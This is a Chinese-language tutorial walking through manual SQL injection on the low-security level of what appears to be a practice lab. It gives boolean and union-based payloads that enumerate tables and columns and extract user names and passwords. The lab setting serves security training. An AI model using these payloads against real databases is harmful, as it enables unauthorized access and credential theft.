这章节主要讲解低安全级别SQL注入的源码解析以及手工注入尝试,请跟着一起做,看的会不代表自己就能敲,每一步都夯实,对未来工作和学习都有莫大的益处。
3.1.1 点击SQL注入模块
提交报错
输入1,可以看到用户名密码
3.1.2 之所以用单引号会报错,是因为对方没有做安全过滤,后面的语句在单引号调用进去后,后面会多出一个单引号,应该设置必须为数字或语句等转义,一旦可以报错,也可以报出其他信息
3.1.3 布尔注入
输入‘ or 1=1 -- ' ,可以看到全部爆出
学过mysql语句的朋友会知道,它的原语句相当于
select * from user_information where user_name = "or 1=1 --' and user_password=" ";
作用是第一个单引号闭合第一句,第一句为空,or是二有1即可,1=1是永真
当然admin' and 1=1 --'也是可以的
3.1.4 union联合注入
'union select 1,2 --'
如果输入‘union select 1,2,3 --' 就会报错,报错信息如下,告知超出列数,说明为两列。
查询数据库
'union select 1, table_name from INFORMATION_SCHEMA.tables -- '
information_schema数据库是mysql自带,提供了访问数据库元数据的方式,元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息
既然知道作用,利用查询版本和数据库名称来尝试
'union select version(), database() from INFORMATION_SCHEMA.tables -- '
只查user这个表,能看到多少列以及他的名称
'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
拿取用户名
'union select NULL, password from users -- '
拿取密码
'union select user, password from users -- '
'union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '